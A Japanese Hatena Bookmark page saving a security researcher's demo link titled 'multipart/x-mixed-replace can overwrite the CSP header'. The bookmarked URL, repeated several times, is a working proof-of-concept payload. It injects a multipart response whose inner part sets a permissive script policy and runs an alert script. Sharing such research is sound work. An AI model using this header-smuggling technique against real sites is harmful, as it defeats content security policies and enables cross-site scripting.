『multipart/x-mixed-replaceを使うことで、CSPヘッダを上書きできる』

multipart/x-mixed-replaceを使うことで、CSPヘッダを上書きできる

XSS
HTML

efcl のブックマーク 2023/11/13 07:03

<blockquote class="hatena-bookmark-comment"><a class="comment-info" href="https://b.hatena.ne.jp/entry/4744948219449328335/comment/efcl" data-user-id="efcl" data-entry-url="https://b.hatena.ne.jp/entry/s/terjanq.me/xss.php?h%5BContent-Security-Policy%5D=default-src%20'none'&h%5BContent-Type%5D=multipart/x-mixed-replace;%20boundary=MYBOUNDARY&html=--MYBOUNDARY%0AContent-Type:%20text/html%0AContent-Security-Policy:%20script-src%20'unsafe-inline'%0A%0Alol%3Cscript%3Ealert(1)%3C/script%3E%0A--MYBOUNDARY--" data-original-href="https://terjanq.me/xss.php?h%5BContent-Security-Policy%5D=default-src%20'none'&h%5BContent-Type%5D=multipart/x-mixed-replace;%20boundary=MYBOUNDARY&html=--MYBOUNDARY%0AContent-Type:%20text/html%0AContent-Security-Policy:%20script-src%20'unsafe-inline'%0A%0Alol%3Cscript%3Ealert(1)%3C/script%3E%0A--MYBOUNDARY--" data-entry-favicon="https://cdn-ak2.favicon.st-hatena.com/64?url=https%3A%2F%2Fterjanq.me%2Fxss.php%3Fh%255BContent-Security-Policy%255D%3Ddefault-src%2520'none'%26h%255BContent-Type%255D%3Dmultipart%2Fx-mixed-replace%3B%2520boundary%3DMYBOUNDARY%26html%3D--MYBOUNDARY%250AContent-Type%3A%2520text%2Fhtml%250AContent-Security-Policy%3A%2520script-src%2520'unsafe-inline'%250A%250Alol%253Cscript%253Ealert(1)%253C%2Fscript%253E%250A--MYBOUNDARY--" data-user-icon="/users/efcl/profile.png">https://terjanq.me/xss.php?h%5BContent-Security-Policy%5D=default-src%20'none'&h%5BContent-Type%5D=multipart/x-mixed-replace;%20boundary=MYBOUNDARY&html=--MYBOUNDARY%0AContent-Type:%20text/html%0AContent-Security-Policy:%20script-src%20'unsafe-inline'%0A%0Alol%3Cscript%3Ealert(1)%3C/script%3E%0A--MYBOUNDARY--</a><ul class="comment-tag" style="list-style: none; margin: 0px;"><li style="float: left">[<a href="https://b.hatena.ne.jp/q/XSS">XSS</a>]</li><li style="float: left">[<a href="https://b.hatena.ne.jp/q/HTML">HTML</a>]</li></ul><br><p style="clear: left">multipart/x-mixed-replaceを使うことで、CSPヘッダを上書きできる</p><a class="datetime" href="https://b.hatena.ne.jp/efcl/20231113#bookmark-4744948219449328335"><span class="datetime-body">2023/11/13 07:03</span></a></blockquote><script src="https://b.st-hatena.com/js/comment-widget.js" charset="utf-8" async></script>

このブックマークにはスターがありません。
最初のスターをつけてみよう！

https://terjanq.me/xss.php?h%5BContent-Security-Policy%5D=default-src%20'none'&h%5BContent-Type%5D=multipart/x-mixed-replace;%20boundary=MYBOUNDARY&html=--MYBOUNDARY%0AContent-Type:%20text/html%0AContent-Security-Policy:%20script-src%20'unsafe-inline'%0A%0Alol%3Cscript%3Ealert(1)%3C/script%3E%0A--MYBOUNDARY--

terjanq.me2023/11/13

1 人がブックマーク・1 件のコメント

他のコメントを読む

＼コメントがサクサク読めるアプリです／

はてなブックマーク

はてなブックマーク

公式Twitter

はてなのサービス